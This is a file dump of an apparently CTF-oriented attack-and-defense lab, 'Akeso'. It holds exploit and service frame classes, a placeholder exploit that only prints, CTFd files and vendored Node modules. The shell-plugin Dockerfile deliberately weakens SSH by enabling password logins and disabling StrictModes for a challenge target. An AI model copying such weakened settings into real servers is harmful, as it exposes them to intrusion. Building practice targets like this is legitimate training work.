-------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/keys/static/static.hbs: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Akeso/Services/SampleService/SampleService.py: -------------------------------------------------------------------------------- 1 | from .. import ServiceFrame 2 | 3 | 4 | class ServiceCheck(ServiceFrame.ServiceFrame): 5 | def __init__(self, serviceInfo): 6 | ServiceFrame.ServiceFrame.__init__(self, serviceInfo) 7 | 8 | def checkService(self): 9 | return True 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/options/Makefile: -------------------------------------------------------------------------------- 1 | ALL_TESTS = $(shell find test/ -name '*.test.js') 2 | 3 | run-tests: 4 | @./node_modules/.bin/mocha \ 5 | -t 2000 \ 6 | $(TESTFLAGS) \ 7 | $(TESTS) 8 | 9 | test: 10 | @$(MAKE) NODE_PATH=lib TESTS="$(ALL_TESTS)" run-tests 11 | 12 | .PHONY: test 13 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/blob/Makefile: -------------------------------------------------------------------------------- 1 | REPORTER = dot 2 | 3 | build: blob.js 4 | 5 | blob.js: 6 | @./node_modules/.bin/browserify --standalone blob index.js > blob.js 7 | 8 | test: 9 | @./node_modules/.bin/zuul -- test/index.js 10 | 11 | clean: 12 | rm blob.js 13 | 14 | .PHONY: test blob.js 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-bind/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bind", 3 | "version": "1.0.0", 4 | "description": "function binding utility", 5 | "keywords": [ 6 | "bind", 7 | "utility" 8 | ], 9 | "dependencies": {}, 10 | "scripts": [ 11 | "index.js" 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/lib/Validation.fallback.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * ws: a node.js websocket client 3 | * Copyright(c) 2011 Einar Otto Stangvik 4 | * MIT Licensed 5 | */ 6 | 7 | exports.Validation = { 8 | isValidUTF8: function(buffer) { 9 | return true; 10 | } 11 | }; 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/express/index.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * express 3 | * Copyright(c) 2009-2013 TJ Holowaychuk 4 | * Copyright(c) 2013 Roman Shtylman 5 | * Copyright(c) 2014-2015 Douglas Christopher Wilson 6 | * MIT Licensed 7 | */ 8 | 9 | 'use strict'; 10 | 11 | module.exports = require('./lib/express'); 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/to-array/index.js: -------------------------------------------------------------------------------- 1 | module.exports = toArray 2 | 3 | function toArray(list, index) { 4 | var array = [] 5 | 6 | index = index || 0 7 | 8 | for (var i = index || 0; i < list.length; i++) { 9 | array[i - index] = list[i] 10 | } 11 | 12 | return array 13 | } 14 | -------------------------------------------------------------------------------- /Akeso/Exploits/ExploitFrame.py: -------------------------------------------------------------------------------- 1 | 2 | class ExploitFrame(object): 3 | """Exploit object""" 4 | def __init__(self, serviceInfo): 5 | self.serviceInfo = serviceInfo 6 | 7 | def exploit(self): 8 | raise NotImplementedError() 9 | 10 | def exploitSuccess(self): 11 | raise NotImplementedError() 12 | -------------------------------------------------------------------------------- /Akeso/Services/ServiceFrame.py: -------------------------------------------------------------------------------- 1 | 2 | class ServiceFrame(object): 3 | def __init__(self, serviceInfo): 4 | self.serviceInfo = serviceInfo 5 | self.flag = None 6 | 7 | def checkService(self): 8 | raise NotImplementedError() 9 | 10 | def getLogs(self): 11 | raise NotImplementedError() 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/qs/test/utils.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var test = require('tape'); 4 | var utils = require('../lib/utils'); 5 | 6 | test('merge()', function (t) { 7 | t.deepEqual(utils.merge({ a: 'b' }, { a: 'c' }), { a: ['b', 'c'] }, 'merges two objects with the same key'); 8 | t.end(); 9 | }); 10 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/mime/build/build.js: -------------------------------------------------------------------------------- 1 | var db = require('mime-db'); 2 | 3 | var mapByType = {}; 4 | Object.keys(db).forEach(function(key) { 5 | var extensions = db[key].extensions; 6 | if (extensions) { 7 | mapByType[key] = extensions; 8 | } 9 | }); 10 | 11 | console.log(JSON.stringify(mapByType)); 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-emitter/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "emitter", 3 | "repo": "component/emitter", 4 | "description": "Event emitter", 5 | "keywords": [ 6 | "emitter", 7 | "events" 8 | ], 9 | "version": "1.1.2", 10 | "scripts": [ 11 | "index.js" 12 | ], 13 | "license": "MIT" 14 | } 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: false 3 | node_js: 4 | - "5" 5 | - "4" 6 | - "0.12" 7 | addons: 8 | apt: 9 | sources: 10 | - ubuntu-toolchain-r-test 11 | packages: 12 | - gcc-4.9 13 | - g++-4.9 14 | before_install: 15 | - export CC="gcc-4.9" CXX="g++-4.9" 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/Makefile: -------------------------------------------------------------------------------- 1 | 2 | build: components index.js 3 | @component build 4 | 5 | components: 6 | @Component install 7 | 8 | clean: 9 | rm -fr build components template.js 10 | 11 | test: 12 | @node_modules/.bin/mocha \ 13 | --require should \ 14 | --reporter spec 15 | 16 | .PHONY: clean test 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/object-component/Makefile: -------------------------------------------------------------------------------- 1 | 2 | build: components index.js 3 | @component build 4 | 5 | components: 6 | @Component install 7 | 8 | clean: 9 | rm -fr build components template.js 10 | 11 | test: 12 | @./node_modules/.bin/mocha \ 13 | --require should \ 14 | --reporter spec 15 | 16 | .PHONY: clean test 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "backo", 3 | "repo": "segmentio/backo", 4 | "dependencies": {}, 5 | "version": "1.0.1", 6 | "description": "simple backoff without the weird abstractions", 7 | "keywords": ["backoff"], 8 | "license": "MIT", 9 | "scripts": ["index.js"], 10 | "main": "index.js" 11 | } 12 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/node_modules/has-binary/History.md: -------------------------------------------------------------------------------- 1 | 2 | 0.1.6 / 2015-01-24 3 | ================== 4 | 5 | * fix "undefined function" bug when iterating 6 | an object created with Object.create(null) [gunta] 7 | 8 | 0.1.5 / 2014-09-04 9 | ================== 10 | 11 | * prevent browserify from bundling `Buffer` 12 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/original/errors/502.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |

502

7 |

That action isn't allowed

8 |
9 | 10 | 11 | {% endblock %} 12 | 13 | {% block scripts %} 14 | {% endblock %} 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/lib/BufferUtil.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | /*! 4 | * ws: a node.js websocket client 5 | * Copyright(c) 2011 Einar Otto Stangvik 6 | * MIT Licensed 7 | */ 8 | 9 | try { 10 | module.exports = require('bufferutil'); 11 | } catch (e) { 12 | module.exports = require('./BufferUtil.fallback'); 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ws/lib/Validation.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | /*! 4 | * ws: a node.js websocket client 5 | * Copyright(c) 2011 Einar Otto Stangvik 6 | * MIT Licensed 7 | */ 8 | 9 | try { 10 | module.exports = require('utf-8-validate'); 11 | } catch (e) { 12 | module.exports = require('./Validation.fallback'); 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/original/errors/500.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |

500

7 |

An Internal Server Error has occured

8 |
9 | 10 | 11 | {% endblock %} 12 | 13 | {% block scripts %} 14 | {% endblock %} 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/blob/.zuul.yml: -------------------------------------------------------------------------------- 1 | ui: mocha-bdd 2 | browsers: 3 | - name: chrome 4 | version: 8..latest 5 | - name: firefox 6 | version: 7..latest 7 | - name: safari 8 | version: 6..latest 9 | - name: opera 10 | version: 12.1..latest 11 | - name: ie 12 | version: 10..latest 13 | - name: android 14 | version: latest 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-parser/is-buffer.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = isBuf; 3 | 4 | /** 5 | * Returns true if obj is a buffer or an arraybuffer. 6 | * 7 | * @api private 8 | */ 9 | 10 | function isBuf(obj) { 11 | return (global.Buffer && global.Buffer.isBuffer(obj)) || 12 | (global.ArrayBuffer && obj instanceof ArrayBuffer); 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/callsite/index.js: -------------------------------------------------------------------------------- 1 | 2 | module.exports = function(){ 3 | var orig = Error.prepareStackTrace; 4 | Error.prepareStackTrace = function(_, stack){ return stack; }; 5 | var err = new Error; 6 | Error.captureStackTrace(err, arguments.callee); 7 | var stack = err.stack; 8 | Error.prepareStackTrace = orig; 9 | return stack; 10 | }; 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "has-cors", 3 | "repo": "component/has-cors", 4 | "description": "Detects support for Cross-Origin Resource Sharing", 5 | "version": "1.1.0", 6 | "keywords": [], 7 | "development": {}, 8 | "license": "MIT", 9 | "main": "index.js", 10 | "scripts": [ 11 | "index.js" 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==0.12 2 | Flask-SQLAlchemy==2.2 3 | Flask-Session==0.3.1 4 | Flask-Caching==1.2.0 5 | Flask-Migrate==2.0.3 6 | SQLAlchemy==1.1.6 7 | SQLAlchemy-Utils==0.32.12 8 | passlib==1.7.1 9 | bcrypt==3.1.3 10 | six==1.10.0 11 | itsdangerous==0.24 12 | requests==2.13.0 13 | PyMySQL==0.7.10 14 | gunicorn==19.7.0 15 | dataset==0.8.0 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/better-assert/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.0.0 / 2013-02-03 3 | ================== 4 | 5 | * Stop using the removed magic __stack global getter 6 | 7 | 0.1.0 / 2012-10-04 8 | ================== 9 | 10 | * add throwing of AssertionError for test frameworks etc 11 | 12 | 0.0.1 / 2010-01-03 13 | ================== 14 | 15 | * Initial release 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/content-type/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.2 / 2016-05-09 2 | ================== 3 | 4 | * perf: enable strict mode 5 | 6 | 1.0.1 / 2015-02-13 7 | ================== 8 | 9 | * Improve missing `Content-Type` header error message 10 | 11 | 1.0.0 / 2015-02-01 12 | ================== 13 | 14 | * Initial implementation, derived from `media-typer@0.3.0` 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Detect Electron renderer process, which is node, but we should 3 | * treat as a browser. 4 | */ 5 | 6 | if (typeof process !== 'undefined' && process.type === 'renderer') { 7 | module.exports = require('./browser.js'); 8 | } else { 9 | module.exports = require('./node.js'); 10 | } 11 | -------------------------------------------------------------------------------- /examples/challenges/Maze/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:4-onbuild 2 | RUN apt update 3 | RUN apt install python-pip -y 4 | RUN pip install pika 5 | RUN mkdir -p /usr/src/app 6 | COPY server/ /usr/src/app/server 7 | COPY public/ /usr/src/app/public 8 | COPY node_modules /usr/src/app/node_modules/ 9 | COPY package.json /usr/src/app/package.json 10 | RUN echo "flag" >> /flag.txt 11 | 12 | EXPOSE 31337 13 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-bind/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.0.0 / 2014-05-27 3 | ================== 4 | 5 | * index: use slice ref (#7, @viatropos) 6 | * package: rename package to "component-bind" 7 | * package: add "repository" field (#6, @repoify) 8 | * package: add "component" section 9 | 10 | 0.0.1 / 2010-01-03 11 | ================== 12 | 13 | * Initial release 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/to-array/README.md: -------------------------------------------------------------------------------- 1 | # to-array 2 | 3 | Turn an array like into an array 4 | 5 | ## Example 6 | 7 | ``` js 8 | var toArray = require("to-array") 9 | , elems = document.links 10 | 11 | var array = toArray(elems) 12 | ``` 13 | 14 | ## Installation 15 | 16 | `npm install to-array` 17 | 18 | ## Contributors 19 | 20 | - Raynos 21 | 22 | ## MIT Licenced 23 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/manage.py: -------------------------------------------------------------------------------- 1 | from flask import Flask 2 | from flask_sqlalchemy import SQLAlchemy 3 | from flask_script import Manager 4 | from flask_migrate import Migrate, MigrateCommand 5 | from CTFd import create_app 6 | 7 | app = create_app() 8 | 9 | manager = Manager(app) 10 | manager.add_command('db', MigrateCommand) 11 | 12 | if __name__ == '__main__': 13 | manager.run() -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/setprototypeof/index.js: -------------------------------------------------------------------------------- 1 | module.exports = Object.setPrototypeOf || ({__proto__:[]} instanceof Array ? setProtoOf : mixinProperties); 2 | 3 | function setProtoOf(obj, proto) { 4 | obj.__proto__ = proto; 5 | return obj; 6 | } 7 | 8 | function mixinProperties(obj, proto) { 9 | for (var prop in proto) { 10 | obj[prop] = proto[prop]; 11 | } 12 | return obj; 13 | } 14 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==0.12 2 | Flask-SQLAlchemy==2.2 3 | Flask-Session==0.3.1 4 | Flask-Caching==1.2.0 5 | Flask-Migrate==2.0.3 6 | SQLAlchemy==1.1.6 7 | SQLAlchemy-Utils==0.32.12 8 | passlib==1.7.1 9 | bcrypt==3.1.3 10 | six==1.10.0 11 | itsdangerous==0.24 12 | requests==2.13.0 13 | PyMySQL==0.7.10 14 | gunicorn==19.7.0 15 | dataset==0.8.0 16 | pika 17 | paramiko 18 | -------------------------------------------------------------------------------- /Akeso/DefenseLab.py: -------------------------------------------------------------------------------- 1 | import structlog 2 | import time 3 | import config 4 | from AttackWorkers import startAttackWorkers 5 | 6 | 7 | logger = structlog.get_logger() 8 | 9 | AttackWorkerNumber = config.NUM_ATTACK_WORKERS 10 | 11 | logger.info("DefenseLab", msg="Starting Attack Workers", workerNum=AttackWorkerNumber) 12 | startAttackWorkers(AttackWorkerNumber) 13 | 14 | while True: 15 | time.sleep(60) 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/blob/README.md: -------------------------------------------------------------------------------- 1 | Blob 2 | ==== 3 | 4 | A module that exports a constructor that uses window.Blob when available, and a BlobBuilder with any vendor prefix in other cases. If neither is available, it exports undefined. 5 | 6 | Usage: 7 | 8 | ```javascript 9 | var Blob = require('blob'); 10 | var b = new Blob(['hi', 'constructing', 'a', 'blob']); 11 | ``` 12 | 13 | ## Licence 14 | MIT 15 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/component-inherit/Readme.md: -------------------------------------------------------------------------------- 1 | # inherit 2 | 3 | Prototype inheritance utility. 4 | 5 | ## Installation 6 | 7 | ``` 8 | $ component install component/inherit 9 | ``` 10 | 11 | ## Example 12 | 13 | ```js 14 | var inherit = require('inherit'); 15 | 16 | function Human() {} 17 | function Woman() {} 18 | 19 | inherit(Woman, Human); 20 | ``` 21 | 22 | ## License 23 | 24 | MIT 25 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/original/errors/403.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |

403

7 |

An authorization error has occured

8 |

Please try again

9 |
10 | 11 | 12 | {% endblock %} 13 | 14 | {% block scripts %} 15 | {% endblock %} 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/templates/original/errors/404.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | 5 |
6 |

404

7 |

Whoops, looks like we can't find that.

8 |

Sorry about that

9 |
10 | 11 | 12 | {% endblock %} 13 | 14 | {% block scripts %} 15 | {% endblock %} 16 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/HELP-US-OUT.txt: -------------------------------------------------------------------------------- 1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project, 2 | Fonticons (https://fonticons.com). It makes it easy to put the perfect icons on your website. Choose from our awesome, 3 | comprehensive icon sets or copy and paste your own. 4 | 5 | Please. Check it out. 6 | 7 | -Dave Gandy 8 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/HELP-US-OUT.txt: -------------------------------------------------------------------------------- 1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project, 2 | Fonticons (https://fonticons.com). It makes it easy to put the perfect icons on your website. Choose from our awesome, 3 | comprehensive icon sets or copy and paste your own. 4 | 5 | Please. Check it out. 6 | 7 | -Dave Gandy 8 | -------------------------------------------------------------------------------- /examples/challenges/Maze/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "mazeproblem", 3 | "version": "1.0.0", 4 | "description": "A ctf problem", 5 | "main": "server/server.js", 6 | "dependencies": { 7 | "express": "^4.14.0", 8 | "socket.io": "^1.7.1" 9 | }, 10 | "devDependencies": {}, 11 | "scripts": { 12 | "test": "echo \"Error: no test specified\" && exit 1" 13 | }, 14 | "author": "messy", 15 | "license": "ISC" 16 | } 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.2.0", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-parser/lib/keys.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Gets the keys for an object. 4 | * 5 | * @return {Array} keys 6 | * @api private 7 | */ 8 | 9 | module.exports = Object.keys || function keys (obj){ 10 | var arr = []; 11 | var has = Object.prototype.hasOwnProperty; 12 | 13 | for (var i in obj) { 14 | if (has.call(obj, i)) { 15 | arr.push(i); 16 | } 17 | } 18 | return arr; 19 | }; 20 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CHANGELOG.md: -------------------------------------------------------------------------------- 1 | 1.0.0 / 2017-01-24 2 | ================== 3 | 4 | **Implemented enhancements:** 5 | 6 | - 1.0.0 release! Things work! 7 | - Manage everything from a browser 8 | - Run Containers 9 | - Themes 10 | - Plugins 11 | - Database migrations 12 | 13 | **Closed issues:** 14 | 15 | - Closed out 94 issues before tagging 1.0.0 16 | 17 | **Merged pull requests:** 18 | 19 | - Merged 42 pull requests before tagging 1.0.0 -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | RUN apk update && \ 3 | apk add python python-dev libffi-dev gcc make musl-dev py-pip mysql-client 4 | 5 | RUN mkdir -p /opt/CTFd 6 | COPY . /opt/CTFd 7 | WORKDIR /opt/CTFd 8 | VOLUME ["/opt/CTFd"] 9 | 10 | RUN pip install -r requirements.txt 11 | 12 | RUN chmod +x /opt/CTFd/docker-entrypoint.sh 13 | 14 | EXPOSE 8000 15 | 16 | ENTRYPOINT ["/opt/CTFd/docker-entrypoint.sh"] 17 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.3.3", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.3.3", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.3.3", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.3.3", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "debug", 3 | "repo": "visionmedia/debug", 4 | "description": "small debugging utility", 5 | "version": "2.3.3", 6 | "keywords": [ 7 | "debug", 8 | "log", 9 | "debugger" 10 | ], 11 | "main": "browser.js", 12 | "scripts": [ 13 | "browser.js", 14 | "debug.js" 15 | ], 16 | "dependencies": { 17 | "rauchg/ms.js": "0.7.1" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/xmlhttprequest-ssl/tests/test-constants.js: -------------------------------------------------------------------------------- 1 | var sys = require("util") 2 | , assert = require("assert") 3 | , XMLHttpRequest = require("../lib/XMLHttpRequest").XMLHttpRequest 4 | , xhr = new XMLHttpRequest(); 5 | 6 | // Test constant values 7 | assert.equal(0, xhr.UNSENT); 8 | assert.equal(1, xhr.OPENED); 9 | assert.equal(2, xhr.HEADERS_RECEIVED); 10 | assert.equal(3, xhr.LOADING); 11 | assert.equal(4, xhr.DONE); 12 | 13 | sys.puts("done"); 14 | -------------------------------------------------------------------------------- /Akeso/Exploits/sampleExploit.py: -------------------------------------------------------------------------------- 1 | from ExploitFrame import ExploitFrame 2 | 3 | 4 | class Exploit(ExploitFrame): 5 | def __init__(self, serviceInfo): 6 | self.name = 'sampleExploit' 7 | ExploitFrame.__init__(self, serviceInfo) 8 | 9 | def exploit(self): 10 | print "Hacking {}!".format(self.serviceInfo.serviceName) 11 | 12 | def exploitSuccess(self): 13 | print "Hacking {} was successful".format(self.serviceInfo.serviceName) 14 | return True 15 | -------------------------------------------------------------------------------- /tests/test_ServiceManager.py: -------------------------------------------------------------------------------- 1 | from Akeso.ServiceManager import ServiceInfo 2 | 3 | 4 | def test_ServiceInfo(): 5 | fakeInfo = { 6 | 'serviceName': 'fakeName', 7 | 'imageName': 'fakeImage', 8 | 'serviceHost': '127.0.0.1', 9 | 'servicePort': 80, 10 | 'exploitModules': ['fakeExploit'], 11 | 'serviceCheckNames': ['fakeCheck'], 12 | 'userInfo': 'fakeInfo'} 13 | 14 | service = ServiceInfo(fakeInfo) 15 | assert service.__dict__ == fakeInfo 16 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/depd/lib/compat/event-listener-count.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * depd 3 | * Copyright(c) 2015 Douglas Christopher Wilson 4 | * MIT Licensed 5 | */ 6 | 7 | 'use strict' 8 | 9 | /** 10 | * Module exports. 11 | * @public 12 | */ 13 | 14 | module.exports = eventListenerCount 15 | 16 | /** 17 | * Get the count of listeners on an event emitter of a specific type. 18 | */ 19 | 20 | function eventListenerCount(emitter, type) { 21 | return emitter.listeners(type).length 22 | } 23 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.1.0 / 2014-11-12 3 | ================== 4 | 5 | * remove "global" module dependency (#2, @achingbrain) 6 | 7 | 1.0.2 / 2013-08-27 8 | ================== 9 | 10 | * explicitly use `global` instead of being implicit 11 | * pin "component/global" to v2.0.1 12 | 13 | 1.0.1 / 2013-08-23 14 | ================== 15 | 16 | * package: add "component" section 17 | 18 | 1.0.0 / 2013-08-22 19 | ================== 20 | 21 | * Initial release 22 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # has-cors 3 | 4 | Detects support for Cross-Origin Resource Sharing 5 | 6 | ## Installation 7 | 8 | Install with [component(1)](http://component.io): 9 | 10 | $ component install component/has-cors 11 | 12 | ## API 13 | 14 | Exports `true` if the user-agent supports CORS, or `false` otherwise. 15 | 16 | ``` js 17 | var hasCORS = require('has-cors'); 18 | console.log(hasCORS); 19 | // true 20 | ``` 21 | 22 | ## License 23 | 24 | MIT 25 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/Readme.md: -------------------------------------------------------------------------------- 1 | 2 | # socket.io-adapter 3 | 4 | Default socket.io in-memory adapter class. 5 | 6 | ## How to use 7 | 8 | This module is not intended for end-user usage, but can be used as an 9 | interface to inherit from from other adapters you might want to build. 10 | 11 | As an example of an adapter that builds on top of this, please take a look 12 | at [socket.io-redis](https://github.com/learnboost/socket.io-redis). 13 | 14 | ## License 15 | 16 | MIT 17 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN apt update 4 | RUN apt-get update 5 | RUN apt install python openssh-server -y 6 | RUN groupadd ctf-users 7 | ADD . ./ 8 | RUN apt update 9 | RUN ./ctfd/prepare.sh 10 | 11 | RUN pip install pika 12 | 13 | RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config 14 | RUN sed -i 's/StrictModes yes/#StrictModes yes/g' /etc/ssh/sshd_config 15 | RUN service ssh restart 16 | 17 | EXPOSE 4001 18 | EXPOSE 22 19 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/larger.less: -------------------------------------------------------------------------------- 1 | // Icon Sizes 2 | // ------------------------- 3 | 4 | /* makes the font 33% larger relative to the icon container */ 5 | .@{fa-css-prefix}-lg { 6 | font-size: (4em / 3); 7 | line-height: (3em / 4); 8 | vertical-align: -15%; 9 | } 10 | .@{fa-css-prefix}-2x { font-size: 2em; } 11 | .@{fa-css-prefix}-3x { font-size: 